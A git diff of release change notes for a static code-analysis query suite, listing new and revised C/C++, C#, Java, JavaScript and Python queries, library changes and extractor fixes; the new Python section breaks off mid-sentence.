diff --git a/.lgtm.yml b/.lgtm.yml index 929214c96ca..4077a58b25e 100755 --- a/.lgtm.yml +++ b/.lgtm.yml @@ -10,6 +10,8 @@ path_classifiers: - javascript/extractor/tests - javascript/ql/src - javascript/ql/test + - python/ql/src + - python/ql/test queries: - include: "*" diff --git a/change-notes/1.19/analysis-cpp.md b/change-notes/1.19/analysis-cpp.md index 6d274150621..fd6f1774e95 100644 --- a/change-notes/1.19/analysis-cpp.md +++ b/change-notes/1.19/analysis-cpp.md @@ -1,44 +1,53 @@ # Improvements to C/C++ analysis -## General improvements - ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Enabled by default. | -| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | external/cwe/cwe-732 | This query finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Enabled by default. | -| Cast from `char*` to `wchar_t*` | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Enabled by default on LGTM. | -| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Enabled by default on LGTM. | -| Inconsistent direction of for loop | correctness, external/cwe/cwe-835 | This query detects `for` loops where the increment and guard condition don't appear to correspond. Enabled by default on LGTM. | -| Incorrect Not Operator Usage | security, external/cwe/cwe-480 | This query finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Available but not displayed by default on LGTM. | -| NULL application name with an unquoted path in call to CreateProcess | security, external/cwe/cwe-428 | This query finds unsafe uses of the `CreateProcess` function. Available but not displayed by default on LGTM. | +| Cast between `HRESULT` and a Boolean type (`cpp/hresult-boolean-conversion`) | security, external/cwe/cwe-253 | Finds logic errors caused by mistakenly treating the Windows `HRESULT` type as a Boolean instead of testing it with the appropriate macros. Results are shown on LGTM by default. | +| Cast from `char*` to `wchar_t*` (`cpp/incorrect-string-type-conversion`) | security, external/cwe/cwe-704 | Detects potentially dangerous casts from `char*` to `wchar_t*`. Results are shown on LGTM by default. | +| Dead code due to `goto` or `break` statement (`cpp/dead-code-goto`) | maintainability, external/cwe/cwe-561 | Detects dead code following a `goto` or `break` statement. Results are shown on LGTM by default. | +| Inconsistent direction of for loop (`cpp/inconsistent-loop-direction`) | correctness, external/cwe/cwe-835 | Detects `for` loops where the increment and guard condition don't appear to correspond. Results are shown on LGTM by default. | +| Incorrect 'not' operator usage (`cpp/incorrect-not-operator-usage`) | security, external/cwe/cwe-480 | Finds uses of the logical not (`!`) operator that look like they should be bit-wise not (`~`). Results are hidden on LGTM by default. | +| Non-virtual destructor in base class (`cpp/virtual-destructor`) | reliability, readability, language-features | This query, `NonVirtualDestructorInBaseClass.ql`, is a replacement in LGTM for the query: No virtual destructor (`AV Rule 78.ql`). The new query ignores base classes with non-public destructors since we consider those to be adequately protected. The new version retains the query identifier, `cpp/virtual-destructor`, and results are displayed by default on LGTM. The old query is no longer run on LGTM. | +| `NULL` application name with an unquoted path in call to `CreateProcess` (`cpp/unsafe-create-process-call`) | security, external/cwe/cwe-428 | Finds unsafe uses of the `CreateProcess` function. Results are hidden on LGTM by default. | +| Setting a DACL to `NULL` in a `SECURITY_DESCRIPTOR` (`cpp/unsafe-dacl-security-descriptor`) | security, external/cwe/cwe-732 | Finds code that creates world-writable objects on Windows by setting their DACL to `NULL`. Results are shown on LGTM by default. | -## Changes to existing queries +## Changes to existing LGTM queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| -| Array offset used before range check | More results and fewer false positive results | The query now recognizes array accesses in different positions within the expression. False positives where the range is checked before and after the array access have been fixed. | -| Empty branch of conditional | Fewer false positive results | The query now recognizes commented blocks more reliably. | -| Expression has no effect | Fewer false positive results | Expressions in template instantiations are now excluded from this query. | -| Global could be static | Fewer false positive results | Variables with declarations in header files are now excluded from this query. | -| Resource not released in destructor | Fewer false positive results | Placement new is now excluded from the query. Also fixed an issue where false positives could occur if the destructor body was not in the snapshot. | -| Missing return statement (`cpp/missing-return`) | Visible by default | The precision of this query has been increased from 'medium' to 'high', which makes it visible by default in LGTM. It was 'medium' in release 1.17 and 1.18 because it had false positives due to an extractor bug that was fixed in 1.18. | -| Missing return statement | Fewer false positive results | The query is now produces correct results when a function returns a template-dependent type, or makes a non-returning call to another function. | -| Static array access may cause overflow | More correct results | Data flow to the size argument of a buffer operation is now checked in this query. | -| Call to memory access function may overflow buffer | More correct results | Array indexing with a negative index is now detected by this query. | -| Self comparison | Fewer false positive results | Code inside macro invocations is now excluded from the query. | -| Suspicious call to memset | Fewer false positive results | Types involving decltype are now correctly compared. | -| Suspicious add with sizeof | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from this query. | -| Wrong type of arguments to formatting function | Fewer false positive results | False positive results involving typedefs have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | -| AV Rule 164 | Fewer false positive results | This query now accounts for explicit casts. | -| Negation of unsigned value | Fewer false positive results | This query now accounts for explicit casts. | -| Variable scope too large | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from this query. | -| Comparison result is always the same | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | -| Unsigned comparison to zero | Fewer false positive results | Comparisons in template instantiations are now excluded from this query. | +| Comparison result is always the same (`cpp/constant-comparison`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | +| Empty branch of conditional (`cpp/empty-block`) | Fewer false positive results | Now recognizes commented blocks more reliably. | +| Expression has no effect (`cpp/useless-expression`) | Fewer false positive results | Expressions in template instantiations are now excluded from results. | +| Missing return statement (`cpp/missing-return`) | Fewer false positive results, visible by default | Improved results when a function returns a template-dependent type, or makes a non-returning call to another function. Precision increased from 'medium' to 'high' so that alerts are shown by default in LGTM. | +| Multiplication result converted to larger type (`cpp/integer-multiplication-cast-to-long`) | Fewer false positive results | Char-typed numbers are no longer considered to be potentially large. | +| No virtual destructor (`cpp/jsf/av-rule-78`) | No results in LGTM | This query is part of the [Joint Strike Fighter](http://www.stroustrup.com/JSF-AV-rules.pdf) suite which defines strict coding rules for air vehicles. Its query identifier has been revised to reflect this. On LGTM this query has been replaced by the similar query "Non-virtual destructor in base class", see New queries above. The new query highlights only code that is likely to be a problem in the majority of projects. | +| Overloaded assignment does not return 'this' (`cpp/assignment-does-not-return-this`) | Fewer false positive results | Any return statements that are unreachable are now ignored. | +| Resource not released in destructor (`cpp/resource-not-released-in-destructor`) | Fewer false positive results | No longer highlights uses of C++ _placement new_ and results are no longer reported for resources where the destructor body is not in the snapshot database. | +| Self comparison (`cpp/comparison-of-identical-expressions`) | Fewer false positive results | Code inside macro invocations is now excluded from the query. | +| Static array access may cause overflow (`cpp/static-buffer-overflow`) | More correct results | Data flow to the `size` argument of a buffer operation is now checked in this query. | +| Suspicious add with sizeof (`cpp/suspicious-add-sizeof`) | Fewer false positive results | Arithmetic with void pointers (where allowed) is now excluded from results. | +| Unsigned comparison to zero (`cpp/unsigned-comparison-zero`) | Fewer false positive results | Comparisons in template instantiations are now excluded from results. | +| Wrong type of arguments to formatting function (`cpp/wrong-type-format-argument`) | Fewer false positive results | False positive results involving `typedef`s have been removed. Expected argument types are determined more accurately, especially for wide string and pointer types. Custom (non-standard) formatting functions are also identified more accurately. | + +## Changes to other queries + +| **Query** | **Expected impact** | **Change** | +|----------------------------|------------------------|------------------------------------------------------------------| +| Array offset used before range check (`cpp/offset-use-before-range-check`) | More results and fewer false positive results | Now recognizes array accesses in different positions within the expression. Code where the range is checked before and after the array access is no longer highlighted. | +| AV Rule 164 (`cpp/jsf/av-rule-164`) | Fewer false positive results | Now accounts for explicit casts. | +| Call to memory access function may overflow buffer (`cpp/overflow-buffer`) | More correct results | Array indexing with a negative index is now detected by this query. | +| Global could be static (`cpp/jpl-c/limited-scope-file` and `cpp/power-of-10/global-could-be-static`)| Fewer false positive results | Variables with declarations in header files are now excluded from results. | +| Memory is never freed (`cpp/memory-never-freed`)| Fewer false positive results | No longer highlights uses of C++ _placement new_, which returns a pointer that does not need to be freed. | +| Negation of unsigned value (`cpp/jsf/av-rule-165`) | Fewer false positive results | Now accounts for explicit casts. | +| Suspicious call to memset (`cpp/suspicious-call-to-memset`) | Fewer false positive results | Types involving `decltype` are now correctly compared. | +| Variable scope too large (`cpp/jpl-c/limited-scope-function` and `cpp/power-of-10/variable-scope-too-large`) | Fewer false positive results | Variables with declarations in header files, or that are used at file scope, are now excluded from results. | ## Changes to QL libraries -* Added a hash consing library for structural comparison of expressions. -* `getBufferSize` now detects variable size structs more reliably. -* Buffer.qll now treats arrays of zero size as a special case. +* New hash consing library (`semmle.code.cpp.valuenumbering.HashCons`) for structural comparison of expressions. Unlike the existing library for global value numbering, this library implements a pure syntactic comparison of expressions and will equate expressions even if they may not compute the same value. +* The `Buffer.qll` library has more conservative treatment of arrays embedded in structs. This reduces false positive results in a number of security queries, especially `cpp/overflow-buffer`. + * Pre-C99 encodings of _flexible array members_ are recognized more reliably. + * Arrays of zero size are now treated as a special case. +* The library `semmle.code.cpp.dataflow.RecursionPrevention` is now deprecated. It was an aid for transitioning data-flow queries from 1.16 to 1.17, and it no longer has any function. Imports of this library should simply be deleted. diff --git a/change-notes/1.19/analysis-csharp.md b/change-notes/1.19/analysis-csharp.md index 260a4ec3fc6..f00ceaeb7d3 100644 --- a/change-notes/1.19/analysis-csharp.md +++ b/change-notes/1.19/analysis-csharp.md @@ -2,35 +2,43 @@ ## General improvements -* Control flow graph improvements: - * The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead. - * Code that is only reachable from a constant failing assertion, such as `Debug.Assert(false)`, is considered to be unreachable. +### Changes to the autobuilder + +During code extraction, when determining the target of `msbuild` or `dotnet build`, the autobuilder now looks for: + +* `.proj` files, +* then `.sln` files, +* and finally `.csproj`/`.vcxproj` files. + +In all three cases, when multiple files of the same type are found, the project/solution file closest to the root is used to build the project. + +### Control flow graph improvements + +* The control flow graph construction now takes simple Boolean conditions on local scope variables into account. For example, in `if (b) x = 0; if (b) x = 1;`, the control flow graph will reflect the fact that taking the `true` (resp. `false`) branch in the first condition implies taking the same branch in the second condition. In effect, the first assignment to `x` will now be identified as being dead. +* Code that is only reachable from a constant failing assertion, such as `Debug.Assert(false)`, is considered to be unreachable. ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Using a package with a known vulnerability (cs/use-of-vulnerable-package) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. This is included by default. | - +| Uncontrolled format string (`cs/uncontrolled-format-string`) | security, external/cwe/cwe-134 | Finds data flow from remote inputs to the format string in `String.Format`. Results are shown on LGTM by default. | +| Using a package with a known vulnerability (`cs/use-of-vulnerable-package`) | security, external/cwe/cwe-937 | Finds project build files that import packages with known vulnerabilities. Results are shown on LGTM by default. | ## Changes to existing queries -| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | This query now finds inconsistent lock sequences globally across calls. | +| **Query** | **Expected impact** | **Change** | +|----------------------------|------------------------|------------------------------------------------------------------| +| Cross-site scripting (`cs/web/xss`) | More results | Finds cross-site scripting vulnerabilities in ASP.NET Core applications. | +| Inconsistent lock sequence (`cs/inconsistent-lock-sequence`) | More results | Finds inconsistent lock sequences globally across calls. | | Local scope variable shadows member (`cs/local-shadows-member`) | Fewer results | Results have been removed where a constructor parameter shadows a member, because the parameter is probably used to initialize the member. | -| Cross-site scripting (`cs/web/xss`) | More results | This query now finds cross-site scripting vulnerabilities in ASP.NET Core applications. | -| *@name of query (Query ID)*| *Impact on results* | *How/why the query has changed* | ## Changes to code extraction * Arguments passed using `in` are now extracted. -* Fix a bug where the `dynamic` type name was not extracted correctly in certain circumstances. +* Fixed a bug where the `dynamic` type name was not extracted correctly in certain circumstances. * Fixed a bug where method type signatures were extracted incorrectly in some circumstances. ## Changes to QL libraries * `getArgument()` on `AccessorCall` has been improved so it now takes tuple assignments into account. For example, the argument for the implicit `value` parameter in the setter of property `P` is `0` in `(P, x) = (0, 1)`. Additionally, the argument for the `value` parameter in compound assignments is now only the expanded value, for example, in `P += 7` the argument is `P + 7` and not `7`. -* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in`. - -## Changes to the autobuilder - -* When determining the target of `msbuild` or `dotnet build`, first look for `.proj` files, then `.sln` files, and finally `.csproj`/`.vcxproj` files. In all three cases, choose the project/solution file closest to the root. +* The predicate `isInArgument()` has been added to the `AssignableAccess` class. This holds for expressions that are passed as arguments using `in` diff --git a/change-notes/1.19/analysis-java.md b/change-notes/1.19/analysis-java.md index e9594966b6e..db728a18473 100644 --- a/change-notes/1.19/analysis-java.md +++ b/change-notes/1.19/analysis-java.md @@ -2,31 +2,38 @@ ## General improvements -* Where applicable, path explanations have been added to the security queries. +Path explanations have been added to the relevant security queries. +Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html) +to run queries and explore the data flow in results. ## New queries | **Query** | **Tags** | **Purpose** | |-----------------------------|-----------|--------------------------------------------------------------------| -| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. | -| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. | +| Arbitrary file write during archive extraction ("Zip Slip") (`java/zipslip`) | security, external/cwe/cwe-022 | Identifies extraction routines that allow arbitrary file overwrite vulnerabilities. Results are shown on LGTM by default. | +| Missing catch of NumberFormatException (`java/uncaught-number-format-exception`) | reliability, external/cwe/cwe-248 | Finds calls to `Integer.parseInt` and similar string-to-number conversions that might raise a `NumberFormatException` without a corresponding `catch`-clause. Results are hidden on LGTM by default. | ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |----------------------------|------------------------|------------------------------------------------------------------| -| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | False positives involving arrays with a length evenly divisible by 3 or some greater number and an index being increased with a similar stride length are no longer reported. | -| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A bugfix in the inheritance relation ensures that spurious results on certain generic classes no longer occur. | -| Query built from user-controlled sources (`java/sql-injection`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | -| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | Sql injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | -| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | This rule now accounts for calls to generic methods that throw generic exceptions. | +| Array index out of bounds (`java/index-out-of-bounds`) | Fewer false positive results | Results for arrays with a length evenly divisible by 3, or some greater number, and an index being increased with a similar stride length are no longer reported. | +| Confusing overloading of methods (`java/confusing-method-signature`) | Fewer false positive results | A correction to the inheritance relation ensures that spurious results on certain generic classes no longer occur. | +| Query built from user-controlled sources (`java/sql-injection`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | +| Query built without neutralizing special characters (`java/concatenated-sql-query`) | More results | SQL injection sinks from the Spring JDBC, MyBatis, and Hibernate frameworks are now reported. | +| Unreachable catch clause (`java/unreachable-catch-clause`) | Fewer false positive results | Now accounts for calls to generic methods that throw generic exceptions. | | Useless comparison test (`java/constant-comparison`) | Fewer false positive results | Constant comparisons guarding `java.util.ConcurrentModificationException` are no longer reported, as they are intended to always be false in the absence of API misuse. | ## Changes to QL libraries +* The class `ControlFlowNode` (and by extension `BasicBlock`) has until now + been directly equatable to `Expr` and `Stmt`. Exploiting these equalities, + for example by using casts, is now deprecated, and the conversions + `Expr.getControlFlowNode()` and `Stmt.getControlFlowNode()` should be used + instead. * The default set of taint sources in the `FlowSources` library is extended to cover parameters annotated with Spring framework annotations indicating remote user input from servlets. This affects all security queries, which - will yield additional results on projects using the Spring Web framework. + will yield additional results on projects that use the Spring Web framework. * The `ParityAnalysis` library is replaced with the more general `ModulusAnalysis` library, which improves the range analysis. diff --git a/change-notes/1.19/analysis-javascript.md b/change-notes/1.19/analysis-javascript.md index b45cb8ad8f7..18f594dc581 100644 --- a/change-notes/1.19/analysis-javascript.md +++ b/change-notes/1.19/analysis-javascript.md @@ -2,71 +2,81 @@ ## General improvements -* Modelling of taint flow through array operations has been improved. This may give additional results for the security queries. +* Modeling of taint flow through array and buffer operations has been improved. This may give additional results for the security queries. -* Support for AMD modules has been improved. This may give additional results for the security queries as well as any queries that use type inference on code bases that use such modules. +* Support for AMD modules has been improved. This may give additional results for the security queries, as well as any queries that use type inference on code bases that use such modules. * Support for popular libraries has been improved. Consequently, queries may produce more results on code bases that use the following features: - - file system access, for example through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby) - - outbound network access, for example through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) - - the [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries + - File system access, for example, through [fs-extra](https://github.com/jprichardson/node-fs-extra) or [globby](https://www.npmjs.com/package/globby) + - Outbound network access, for example, through the [fetch API](https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API) + - The [lodash](https://lodash.com), [underscore](https://underscorejs.org/), [async](https://www.npmjs.com/package/async) and [async-es](https://www.npmjs.com/package/async-es) libraries * The taint tracking library now recognizes additional sanitization patterns. This may give fewer false-positive results for the security queries. * Type inference for function calls has been improved. This may give additional results for queries that rely on type inference. -* Where applicable, path explanations have been added to the security queries. +* Path explanations have been added to the relevant security queries. +Use [QL for Eclipse](https://help.semmle.com/ql-for-eclipse/Content/WebHelp/getting-started.html) +to run queries and explore the data flow in results. -## New queries +## New LGTM queries | **Query** | **Tags** | **Purpose** | |-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). Results are not shown on LGTM by default. | -| File data in outbound network request | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request. Results are not shown on LGTM by default. | -| Host header poisoning in email generation | security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. | +| Hard-coded data interpreted as code (`js/hardcoded-data-interpreted-as-code`) | security, external/cwe/cwe-506 | Highlights locations where hard-coded data is transformed and then executed as code or interpreted as an import path, which may indicate embedded malicious code ([CWE-506](https://cwe.mitre.org/data/definitions/506.html)). Results are hidden on LGTM by default. | +| Host header poisoning in email generation (`js/host-header-forgery-in-email-generation`)| security, external/cwe/cwe-640 | Highlights code that generates emails with links that can be hijacked by HTTP host header poisoning, indicating a potential violation of [CWE-640](https://cwe.mitre.org/data/definitions/640.html). Results shown on LGTM by default. | | Replacement of a substring with itself (`js/identity-replacement`) | correctness, security, external/cwe/cwe-116 | Highlights string replacements that replace a string with itself, which usually indicates a mistake. Results shown on LGTM by default. | -| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. | +| Stored cross-site scripting (`js/stored-xss`) | security, external/cwe/cwe-079, external/cwe/cwe-116 | Highlights uncontrolled stored values flowing into HTML content, indicating a potential violation of [CWE-079](https://cwe.mitre.org/data/definitions/79.html). Results shown on LGTM by default. | | Unclear precedence of nested operators (`js/unclear-operator-precedence`) | maintainability, correctness, external/cwe/cwe-783 | Highlights nested binary operators whose relative precedence is easy to misunderstand. Results shown on LGTM by default. | -| Unneeded defensive code | correctness, external/cwe/cwe-570, external/cwe/cwe-571 | Highlights locations where defensive code is not needed. Results are shown on LGTM by default. | -| Useless assignment to property | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. | -| User-controlled data in file | security, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file. Results are not shown on LGTM by default. | +| Unneeded defensive code (`js/unneeded-defensive-code`) | correctness, external/cwe/cwe-570, external/cwe/cwe-571 | Highlights locations where defensive code is not needed. Results are shown on LGTM by default. | +| Unsafe dynamic method access (`js/unsafe-dynamic-method-access` ) | security, external/cwe/cwe-094 | Highlights code that invokes a user-controlled method on an object with unsafe methods. Results are shown on LGTM by default. | +| Unvalidated dynamic method access (`js/unvalidated-dynamic-method-call` ) | security, external/cwe/cwe-754 | Highlights code that invokes a user-controlled method without guarding against exceptional circumstances. Results are shown on LGTM by default. | +| Useless assignment to property (`js/useless-assignment-to-property`) | maintainability | Highlights property assignments whose value is always overwritten. Results are shown on LGTM by default. | + +## Other new queries + +| **Query** | **Tags** | **Purpose** | +|-----------------------------------------------|------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| Enabling Node.js integration for Electron web content renderers (`js/enabling-electron-renderer-node-integration`) | security, frameworks/electron, external/cwe/cwe-094 | Highlights Electron web content renderer preferences with Node.js integration enabled, indicating a potential violation of [CWE-94](https://cwe.mitre.org/data/definitions/94.html). | +| File data in outbound network request (`js/file-access-to-http`) | security, external/cwe/cwe-200 | Highlights locations where file data is sent in a network request, indicating a potential violation of [CWE-200](https://cwe.mitre.org/data/definitions/200.html). | +| User-controlled data written to file (`js/http-to-file-access`) | security, external/cwe/cwe-434, external/cwe/cwe-912 | Highlights locations where user-controlled data is written to a file, indicating a potential violation of [CWE-912](https://cwe.mitre.org/data/definitions/912.html). | + ## Changes to existing queries | **Query** | **Expected impact** | **Change** | |--------------------------------|----------------------------|----------------------------------------------| -| Ambiguous HTML id attribute | Lower severity | The severity of this rule has been revised to "warning". | -| Clear-text logging of sensitive information | Fewer results | This rule now tracks flow more precisely. | -| Client side cross-site scripting | More results | This rule now also flags HTML injection in the body of an email. | -| Client-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. | -| Conflicting HTML element attributes | Lower severity | The severity of this rule has been revised to "warning". | -| Duplicate 'if' condition | Lower severity | The severity of this rule has been revised to "warning". | -| Duplicate switch case | Lower severity | The severity of this rule has been revised to "warning". | -| Information exposure through a stack trace | More results | This rule now also flags cases where the entire exception object (including the stack trace) may be exposed. | -| Missing CSRF middleware | Fewer false-positive results | This rule now recognizes additional CSRF protection middlewares. | -| Missing 'this' qualifier | Fewer false-positive results | This rule now recognizes additional intentional calls to global functions. | -| Missing variable declaration | Lower severity | The severity of this rule has been revised to "warning". | -| Regular expression injection | Fewer false-positive results | This rule now identifies calls to `String.prototype.search` with more precision. | -| Remote property injection | Fewer results | The precision of this rule has been revised to "medium". Results are no longer shown on LGTM by default. | -| Self assignment | Fewer false-positive results | This rule now ignores self-assignments preceded by a JSDoc comment with a `@type` tag. | -| Server-side URL redirect | Fewer false-positive results | This rule now recognizes safe redirects in more cases. | -| Server-side URL redirect | More results | This rule now recognizes redirection calls in more cases. | -| Unbound event handler receiver | Fewer false-positive results | This rule now recognizes additional ways class methods can be bound. | -| Uncontrolled data used in remote request | More results | This rule now recognizes additional kinds of requests. | -| Unknown directive | Fewer false positives results | This rule now recognizes YUI compressor directives. | -| Unused import | Fewer false-positive results | This rule no longer flags imports used by the `transform-react-jsx` Babel plugin. | -| Unused variable, import, function or class | Fewer false-positive results | This rule now flags fewer variables that may be used by `eval` calls. | -| Unused variable, import, function or class | Fewer results | This rule now flags import statements with multiple unused imports once. | -| Useless assignment to local variable | Fewer false-positive results | This rule now recognizes additional ways default values can be set. | -| Whitespace contradicts operator precedence | Fewer false-positive results | This rule no longer flags operators with asymmetric whitespace. | -| Wrong use of 'this' for static method | More results, fewer false-positive results | This rule now recognizes inherited methods. | +| Ambiguous HTML id attribute (`js/duplicate-html-id`) | Lower severity | Severity revised to "warning". | +| Clear-text logging of sensitive information (`js/clear-text-logging`) | Fewer results | Query now tracks flow more precisely. | +| Client side cross-site scripting (`js/xss`) | More results | HTML injection in the body of an email is also highlighted. | +| Client-side URL redirect (`js/client-side-unvalidated-url-redirection`) | Fewer false positive results | Safe redirects recognized in more cases. | +| Conflicting HTML element attributes (`js/conflicting-html-attribute`) | Lower severity | Severity revised to "warning". | +| Duplicate 'if' condition (`js/duplicate-condition`) | Lower severity | Severity revised to "warning". | +| Duplicate switch case (`js/duplicate-switch-case`) | Lower severity | Severity revised to "warning". | +| Inconsistent use of 'new' (`js/inconsistent-use-of-new`) | Simpler result presentation | Results show one call with `new` and one without. | +| Information exposure through a stack trace (`js/stack-trace-exposure`) | More results | Cases where the entire exception object (including the stack trace) may be exposed are highlighted. | +| Missing 'this' qualifier (`js/missing-this-qualifier`) | Fewer false positive results | Additional intentional calls to global functions are recognized. | +| Missing CSRF middleware (`js/missing-token-validation`) | Fewer false positive results | Additional types of CSRF protection middleware are recognized. | +| Missing variable declaration (`js/missing-variable-declaration`) | Lower severity | Severity revised to "warning". | +| Regular expression injection (`js/regex-injection`) | Fewer false positive results | Calls to `String.prototype.search` are identified with more precision. | +| Remote property injection (`js/remote-property-injection`) | Fewer results | No longer highlights dynamic method calls, which are now handled by two new queries: `js/unsafe-dynamic-method-access` and `js/unvalidated-dynamic-method-call`. The precision of this rule has been revised to "medium", reflecting the precision of the remaining results. Results are now hidden on LGTM by default. | +| Self assignment (`js/redundant-assignment`) | Fewer false positive results | Self-assignments preceded by a JSDoc comment with a `@type` tag are no longer highlighted. | +| Server-side URL redirect (`js/server-side-unvalidated-url-redirection`) | More results and fewer false positive results | More redirection calls are identified. More safe redirections are recognized and ignored. | +| Unbound event handler receiver (`js/unbound-event-handler-receiver`) | Fewer false positive results | Additional ways that class methods can be bound are recognized. | +| Uncontrolled data used in network request (`js/request-forgery`) | More results | Additional kinds of requests are identified. | +| Unknown directive (`js/unknown-directive`) | Fewer false positives results | YUI compressor directives are now recognized. | +| Unused variable, import, function or class (`js/unused-local-variable`) | Fewer false positive results and fewer results | Imports used by the `transform-react-jsx` Babel plugin and fewer variables that may be used by `eval` calls are highlighted. Only one result is reported for an import statement with multiple unused imports. | +| Useless assignment to local variable (`js/useless-assignment-to-local`) | Fewer false positive results | Additional ways default values can be set are recognized. | +| Useless conditional (`js/trivial-conditional`) | More results, fewer false positive results | More types of conditional are recognized. Additional defensive coding patterns are now ignored. | +| Whitespace contradicts operator precedence (`js/whitespace-contradicts-precedence`) | Fewer false positive results | Operators with asymmetric whitespace are no longer highlighted. | +| Wrong use of 'this' for static method (`js/mixed-static-instance-this-access`) | More results, fewer false-positive results | Inherited methods are now identified. | ## Changes to QL libraries -* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding dataflow node. +* A `DataFlow::ParameterNode` instance now exists for all function parameters. Previously, unused parameters did not have a corresponding data-flow node. -* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned above. +* `ReactComponent::getAThisAccess` has been renamed to `getAThisNode`. The old name is still usable but is deprecated. It no longer gets individual `this` expressions, but the `ThisNode` mentioned below. -* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an indivdual `this` expression. This means `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode` - it is recomended to use `getALocalSource` before casting or instead of casting. +* The `DataFlow::ThisNode` class now corresponds to the implicit receiver parameter of a function, as opposed to an individual `this` expression. This means that `getALocalSource` now maps all `this` expressions within a given function to the same source. The data-flow node associated with a `ThisExpr` can no longer be cast to `DataFlow::SourceNode` or `DataFlow::ThisNode`. Using `getALocalSource` before casting, or instead of casting, is recommended. * The flow configuration framework now supports distinguishing and tracking different kinds of taint, specified by an extensible class `FlowLabel` (which can also be referred to by its alias `TaintKind`). diff --git a/change-notes/1.19/analysis-python.md b/change-notes/1.19/analysis-python.md new file mode 100644 index 00000000000..155571c9b8c --- /dev/null +++ b/change-notes/1.19/analysis-python.md @@ -0,0 +1,94 @@ +# Improvements to Python analysis + +## General improvements + +### Representation of the control flow graph + +The representation of the control flow graph (CFG) has been modified to better reflect the semantics of Python. As part of these changes, a new predicate `Stmt.getAnEntryNode()` has been added to make it easier to write reachability queries involving statements. + +#### CFG nodes removed + +The following statement types no longer have a CFG node for the statement itself, as their sub-expressions already contain all the +semantically significant information: + +* `ExprStmt` +* `If` +* `Assign` +* `Import` + +For example, the CFG for `if cond: foo else bar` now starts with the CFG node for `cond`. + +#### CFG nodes reordered + +For the following statement types, the CFG node for the statement now follows the CFG nodes of its sub-expressions to follow Python semantics: + +* `Print` +* `TemplateWrite` +* `ImportStar` + +For example the CFG for `print foo` (in Python 2) has changed from `print -> foo` to `foo -> print`, to reflect the runtime behavior. + +The CFG for the `with` statement has been re-ordered to more closely reflect the semantics. +For the `with` statement: +```python +with cm as var: + body +``` + +* Previous CFG node order: `` -> `cm` 